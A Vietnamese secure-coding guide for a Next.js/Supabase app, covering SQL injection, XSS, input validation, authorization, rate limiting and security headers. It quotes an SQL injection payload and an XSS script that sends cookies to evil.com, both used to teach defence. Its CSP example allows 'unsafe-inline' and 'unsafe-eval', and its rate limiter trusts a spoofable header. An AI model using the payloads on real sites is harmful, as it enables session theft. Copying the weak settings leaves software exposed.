Cách Mình Bảo Mật Ứng Dụng
Bảo vệ khỏi các lỗ hổng phổ biến - OWASP top 10, injection, validation
Một lỗ hổng trong công cụ của mình có thể lộ dữ liệu khách hàng, API key, hoặc trở thành điểm tấn công cho cả hệ thống. Bảo mật không phải thứ tùy chọn -- mà là điều kiện tiên quyết.
Tư duy cốt lõi: Giả định mọi input đều độc hại. Validate mọi thứ. Không tin gì từ client.
OWASP Top 10
OWASP (Open Web Application Security Project) duy trì danh sách các rủi ro bảo mật ứng dụng web nghiêm trọng nhất. Không cần thuộc lòng cả 10, nhưng mấy cái sau thì phải nắm:
| Rủi ro | Nó Là Gì | Mức Độ Ảnh Hưởng |
|---|---|---|
| Injection | Dữ liệu độc hại trong query | Cao (database, API) |
| Broken Auth | Authentication yếu | Trung bình |
| Sensitive Data Exposure | Lộ secret, dữ liệu | Cao |
| XSS | Script độc hại trong trang | Trung bình |
| Broken Access Control | Truy cập dữ liệu người khác | Cao |
| Security Misconfiguration | Cấu hình sai | Trung bình |
| CSRF | Bị lừa thực hiện hành động | Thấp (dạng API) |
SQL Injection
Cách Tấn Công
Kẻ tấn công chèn SQL code qua input field. Đơn giản đến mức đáng sợ:
// LỖ HỔNG: Nối chuỗi
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Nếu email là: ' OR '1'='1
// Query thành: SELECT * FROM users WHERE email = '' OR '1'='1'
// Trả về TẤT CẢ user!
Phòng Chống
Luôn dùng parameterized query:
// AN TOÀN: Parameterized query với Supabase
const { data } = await supabase
.from('users')
.select('*')
.eq('email', email);
// AN TOÀN: Nếu dùng raw SQL
const { data } = await supabase.rpc('get_user', { user_email: email });
// Trong function:
// SELECT * FROM users WHERE email = $1
Checklist
- Không bao giờ nối input user vào SQL
- Dùng Supabase client method (chúng đã được parameterize)
- Dùng stored procedure cho query phức tạp
- Validate kiểu dữ liệu input trước khi query
XSS (Cross-Site Scripting)
Cách Tấn Công
Kẻ tấn công chèn JavaScript chạy trong trình duyệt của user khác. Nghe thì xa vời, nhưng chỉ cần một chỗ hiển thị input user mà không escape là dính:
<!-- Nếu mình hiển thị input user trực tiếp -->
<div>{userComment}</div>
<!-- Kẻ tấn công gửi: -->
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
<!-- Script này chạy trong trình duyệt mọi user xem trang -->
Phòng Chống
React escape mặc định, nhưng cẩn thận với:
// LỖ HỔNG: dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userContent }} />
// AN TOÀN: Để React escape
<div>{userContent}</div>
// Nếu BẮT BUỘC render HTML, sanitize trước:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userContent) }} />
Các Vector XSS Phổ Biến
| Vector | Phòng chống |
|---|---|
| Nội dung HTML | Sanitize hoặc escape |
| URL parameter | Validate, encode |
| Giá trị CSS | Whitelist giá trị cho phép |
| JavaScript URL | Chặn protocol javascript: |
Ví Dụ Thực Tế: Hiển Thị Keyword Của User
Mình có Keyword Clustering tool -- user upload CSV chứa keyword. Nếu một keyword là <script>alert('xss')</script> thì sao?
// AN TOÀN: React escape mặc định
{keywords.map(k => <div key={k.id}>{k.text}</div>)}
// LỖ HỔNG: Nếu render ngoài ngữ cảnh React
element.innerHTML = keyword; // ĐỪNG LÀM THẾ NÀY
React đã lo phần escape rồi, nhưng cứ dùng innerHTML trực tiếp là mất hết.
Input Validation
Validate Mọi Thứ
Nguyên tắc đơn giản: đừng tin bất cứ gì client gửi lên. Dùng Zod để định nghĩa schema rõ ràng:
import { z } from 'zod';
// Định nghĩa cấu trúc mong đợi
const KeywordUploadSchema = z.object({
keywords: z.array(z.string().min(1).max(500)).min(1).max(10000),
options: z.object({
minClusterSize: z.number().min(2).max(100).default(5),
model: z.enum(['text-embedding-3-small', 'text-embedding-3-large']),
}),
});
// Validate trong API route
export async function POST(request: Request) {
const body = await request.json();
const result = KeywordUploadSchema.safeParse(body);
if (!result.success) {
return Response.json(
{ error: 'Invalid input', details: result.error.flatten() },
{ status: 400 }
);
}
// Giờ result.data đã được type và validate
const { keywords, options } = result.data;
}
Quy Tắc Validation
| Kiểu Input | Validate |
|---|---|
| String | Giới hạn độ dài, ký tự cho phép |
| Number | Giá trị min/max, integer hay float |
| Array | Giới hạn độ dài, validate từng phần tử |
| Enum | Chỉ giá trị cho phép |
| URL | Whitelist protocol, validate domain |
| File | Kích thước, loại, nội dung |
Bảo Mật Upload File
Upload file là chỗ hay bị bỏ qua. Đừng chỉ tin Content-Type header -- phải kiểm tra kỹ:
// Validate file upload
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
const ALLOWED_TYPES = ['text/csv', 'application/json'];
export async function POST(request: Request) {
const formData = await request.formData();
const file = formData.get('file') as File;
// Kiểm tra kích thước
if (file.size > MAX_FILE_SIZE) {
return Response.json({ error: 'File too large' }, { status: 400 });
}
// Kiểm tra loại file (đừng chỉ tin Content-Type header)
if (!ALLOWED_TYPES.includes(file.type)) {
return Response.json({ error: 'Invalid file type' }, { status: 400 });
}
// Parse và validate nội dung
const content = await file.text();
// ... validate cấu trúc CSV/JSON
}
Kiểm Tra Authorization
Mọi Endpoint Cần Auth Check
Đây là pattern mình dùng cho mọi API route có dữ liệu user:
export async function GET(
request: Request,
{ params }: { params: { id: string } }
) {
// 1. Xác minh user đã authenticated
const session = await getSession(request);
if (!session) {
return Response.json({ error: 'Unauthorized' }, { status: 401 });
}
// 2. Xác minh user sở hữu tài nguyên này
const { data: job } = await supabase
.from('clustering_jobs')
.select('*')
.eq('id', params.id)
.eq('user_id', session.user.id) // QUAN TRỌNG: Filter theo user
.single();
if (!job) {
// Trả 404, không phải 403 (đừng tiết lộ sự tồn tại)
return Response.json({ error: 'Not found' }, { status: 404 });
}
return Response.json(job);
}
Điểm mấu chốt là dòng .eq('user_id', session.user.id) -- bỏ dòng này là User A xem được job của User B ngay.
Sai Lầm Authorization Hay Gặp
// SAI: Chỉ kiểm tra authentication
const session = await getSession(request);
if (!session) return unauthorized();
// Rồi fetch mà không filter theo user
const job = await supabase.from('jobs').select().eq('id', id).single();
// User A truy cập được job của User B!
// ĐÚNG: Luôn filter theo user
const job = await supabase
.from('jobs')
.select()
.eq('id', id)
.eq('user_id', session.user.id)
.single();
Rate Limiting
Không có rate limiting thì API giống như cửa hàng tự phục vụ mà không ai trông -- ai muốn lấy bao nhiêu cũng được:
// Rate limiting đơn giản trong memory (dùng Redis cho production)
const rateLimits = new Map<string, { count: number; resetAt: number }>();
function checkRateLimit(ip: string, limit = 100, windowMs = 60000): boolean {
const now = Date.now();
const record = rateLimits.get(ip);
if (!record || now > record.resetAt) {
rateLimits.set(ip, { count: 1, resetAt: now + windowMs });
return true;
}
if (record.count >= limit) {
return false; // Bị rate limit
}
record.count++;
return true;
}
export async function POST(request: Request) {
const ip = request.headers.get('x-forwarded-for') || 'unknown';
if (!checkRateLimit(ip)) {
return Response.json(
{ error: 'Too many requests' },
{ status: 429, headers: { 'Retry-After': '60' } }
);
}
// Xử lý request...
}
Security Header
Cấu hình trong next.config.js:
const securityHeaders = [
{
key: 'X-Content-Type-Options',
value: 'nosniff',
},
{
key: 'X-Frame-Options',
value: 'DENY',
},
{
key: 'X-XSS-Protection',
value: '1; mode=block',
},
{
key: 'Referrer-Policy',
value: 'strict-origin-when-cross-origin',
},
{
key: 'Content-Security-Policy',
value: "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';",
},
];
module.exports = {
async headers() {
return [
{
source: '/:path*',
headers: securityHeaders,
},
];
},
};
Bảo Mật Xử Lý Lỗi
Đừng Lộ Thông Tin
Lỗi trả về cho user càng chung chung càng tốt. Chi tiết thì log phía server:
// SAI: Lộ chi tiết nội bộ
catch (error) {
return Response.json({
error: error.message, // Có thể lộ SQL, đường dẫn, v.v.
stack: error.stack, // Tiết lộ cấu trúc code
}, { status: 500 });
}
// ĐÚNG: Lỗi chung, log chi tiết phía server
catch (error) {
console.error('Clustering thất bại:', error); // Log để debug
return Response.json(
{ error: 'An error occurred. Please try again.' },
{ status: 500 }
);
}
Error Message Cho Ai Thì Viết Kiểu Đó
| Đối tượng | Hiển thị gì |
|---|---|
| User | "Có lỗi xảy ra. Vui lòng thử lại." |
| Developer (log) | Lỗi đầy đủ với stack trace |
| API consumer | Error code, message ngắn gọn, không lộ nội bộ |
Sai Lầm Phổ Biến
Tin validation phía client
Dấu hiệu: Validation chỉ trong JavaScript, server không kiểm tra gì cả.
Cách sửa: Validation client chỉ để UX cho đẹp thôi, bảo mật thật phải ở server.
Dùng user ID từ request body
Dấu hiệu: const userId = request.body.userId
Cách sửa: Lấy user ID từ session. Client gửi ID gì lên thì kệ -- không tin.
Log dữ liệu nhạy cảm
Dấu hiệu: console.log(user) mà object user chứa cả password, token.
Cách sửa: Sanitize log. Không bao giờ log password, token, hay API key đầy đủ. Đến lúc bị lộ log mới hối thì muộn.
Hardcode secret trong code
Dấu hiệu: const API_KEY = "sk-..." nằm chình ình trong source code.
Cách sửa: Dùng environment variable. Xem Cách Mình Quản Lý Secrets.
Security Checklist
Trước khi ship, kiểm tra lại:
- Mọi input được validate bằng Zod hoặc tương tự
- SQL query được parameterize (không nối chuỗi)
- Nội dung user được escape hoặc sanitize
- Auth check trên mọi endpoint được bảo vệ
- Tài nguyên được filter theo user_id
- Rate limiting đã được triển khai
- Security header đã cấu hình
- Lỗi không lộ chi tiết nội bộ
- Không có secret trong code hoặc log
Tham Khảo Nhanh
| Kiểu tấn công | Phòng chống |
|---|---|
| SQL Injection | Parameterized query |
| XSS | Escape output, sanitize HTML |
| Auth Bypass | Kiểm tra session mỗi request |
| IDOR (truy cập dữ liệu người khác) | Filter theo user_id |
| Brute Force | Rate limiting |
| Data Exposure | Validate output, ẩn nội bộ |